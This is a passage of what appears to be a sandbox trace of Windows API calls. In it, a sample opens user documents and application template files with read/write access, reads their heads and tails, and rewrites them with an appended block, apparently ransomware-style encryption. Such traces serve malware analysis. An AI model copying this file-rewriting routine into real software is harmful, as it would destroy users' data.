[0038.723] WriteFile (in: hFile=0x198, lpBuffer=0x260fc38*, nNumberOfBytesToWrite=0x95c, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x260fc38*, lpNumberOfBytesWritten=0x2e0f2d0*=0x95c, lpOverlapped=0x0) returned 1 [0038.723] CloseHandle (hObject=0x198) returned 1 [0038.723] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\EmptyDatabase.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\emptydatabase.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.724] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.724] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x35b [0038.724] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.724] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.724] ReleaseMutex (hMutex=0x128) returned 1 [0038.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EmptyDatabase.zip", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0038.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EmptyDatabase.zip", cchWideChar=17, lpMultiByteStr=0x1e78974, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EmptyDatabase.zip", lpUsedDefaultChar=0x0) returned 17 [0038.724] ReadFile (in: hFile=0x198, lpBuffer=0x2750828, nNumberOfBytesToRead=0x35b, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x2e0f2bc*=0x35b, lpOverlapped=0x0) returned 1 [0038.725] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0038.725] WriteFile (in: hFile=0x198, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8e3, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2e0f2d0*=0x8e3, lpOverlapped=0x0) returned 1 [0038.726] CloseHandle (hObject=0x198) returned 1 [0038.726] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\usercontrol.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.726] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.726] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x5b1 [0038.726] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.726] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.726] ReleaseMutex (hMutex=0x128) returned 1 [0038.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UserControl.zip", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0038.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UserControl.zip", cchWideChar=15, lpMultiByteStr=0x1e6320c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UserControl.zip", lpUsedDefaultChar=0x0) returned 15 [0038.726] ReadFile (in: hFile=0x198, lpBuffer=0x1dfc728, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfc728*, lpNumberOfBytesRead=0x2e0f2bc*=0x5b1, lpOverlapped=0x0) returned 1 [0038.728] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0038.728] WriteFile (in: hFile=0x198, lpBuffer=0x25cb968*, nNumberOfBytesToWrite=0xb39, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25cb968*, lpNumberOfBytesWritten=0x2e0f2d0*=0xb39, lpOverlapped=0x0) returned 1 [0038.728] CloseHandle (hObject=0x198) returned 1 [0038.728] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6a8X3VjQ8Z1cn2LE.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6a8x3vjq8z1cn2le.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.728] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.728] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x17278 [0038.728] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.728] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.728] ReleaseMutex (hMutex=0x128) returned 1 [0038.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6a8X3VjQ8Z1cn2LE.xls", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0038.728] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="6a8X3VjQ8Z1cn2LE.xls", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6a8X3VjQ8Z1cn2LE.xls", lpUsedDefaultChar=0x0) returned 20 [0038.728] ReadFile (in: hFile=0x198, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.729] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x16278 [0038.729] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.729] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x16278 [0038.730] WriteFile (in: hFile=0x198, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.730] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0038.730] WriteFile (in: hFile=0x198, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.730] CloseHandle (hObject=0x198) returned 1 [0038.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZbbEmzGypPRjPCOowv.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zbbemzgypprjpcoowv.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.730] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.730] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x56c [0038.730] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.730] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.730] ReleaseMutex (hMutex=0x128) returned 1 [0038.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZbbEmzGypPRjPCOowv.docx", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0038.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZbbEmzGypPRjPCOowv.docx", cchWideChar=23, lpMultiByteStr=0x1e78974, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZbbEmzGypPRjPCOowv.docx", lpUsedDefaultChar=0x0) returned 23 [0038.730] ReadFile (in: hFile=0x198, lpBuffer=0x1dfc728, nNumberOfBytesToRead=0x56c, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfc728*, lpNumberOfBytesRead=0x2e0f2bc*=0x56c, lpOverlapped=0x0) returned 1 [0038.731] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0038.731] WriteFile (in: hFile=0x198, lpBuffer=0x2513ca8*, nNumberOfBytesToWrite=0xaf4, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2513ca8*, lpNumberOfBytesWritten=0x2e0f2d0*=0xaf4, lpOverlapped=0x0) returned 1 [0038.731] CloseHandle (hObject=0x198) returned 1 [0038.731] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\p15wptBUsv2r0Yr_.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p15wptbusv2r0yr_.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.732] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.732] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xe5bb [0038.732] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.732] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.732] ReleaseMutex (hMutex=0x128) returned 1 [0038.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="p15wptBUsv2r0Yr_.odt", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0038.732] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="p15wptBUsv2r0Yr_.odt", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p15wptBUsv2r0Yr_.odt", lpUsedDefaultChar=0x0) returned 20 [0038.732] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.733] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xd5bb [0038.733] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.733] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xd5bb [0038.733] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.733] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0038.733] WriteFile (in: hFile=0x198, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.733] CloseHandle (hObject=0x198) returned 1 [0038.733] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.734] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.734] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x155af [0038.734] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.734] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.734] ReleaseMutex (hMutex=0x128) returned 1 [0038.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0038.734] ReadFile (in: hFile=0x198, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.737] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x145af [0038.737] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.737] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x145af [0038.737] WriteFile (in: hFile=0x198, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.737] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0038.737] WriteFile (in: hFile=0x198, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.737] CloseHandle (hObject=0x198) returned 1 [0038.737] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.738] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.738] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x10596 [0038.738] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.738] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.738] ReleaseMutex (hMutex=0x128) returned 1 [0038.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6322c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0038.738] ReadFile (in: hFile=0x198, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.740] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xf596 [0038.740] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.740] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xf596 [0038.740] WriteFile (in: hFile=0x198, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.740] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0038.740] WriteFile (in: hFile=0x198, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.740] CloseHandle (hObject=0x198) returned 1 [0038.741] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.741] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.741] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x5416 [0038.741] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.741] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.741] ReleaseMutex (hMutex=0x128) returned 1 [0038.741] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.741] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0038.741] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.743] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x4416 [0038.743] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.743] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x4416 [0038.743] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.744] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0038.744] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.744] CloseHandle (hObject=0x198) returned 1 [0038.744] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.744] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.744] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x5be8 [0038.744] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.744] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.744] ReleaseMutex (hMutex=0x128) returned 1 [0038.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 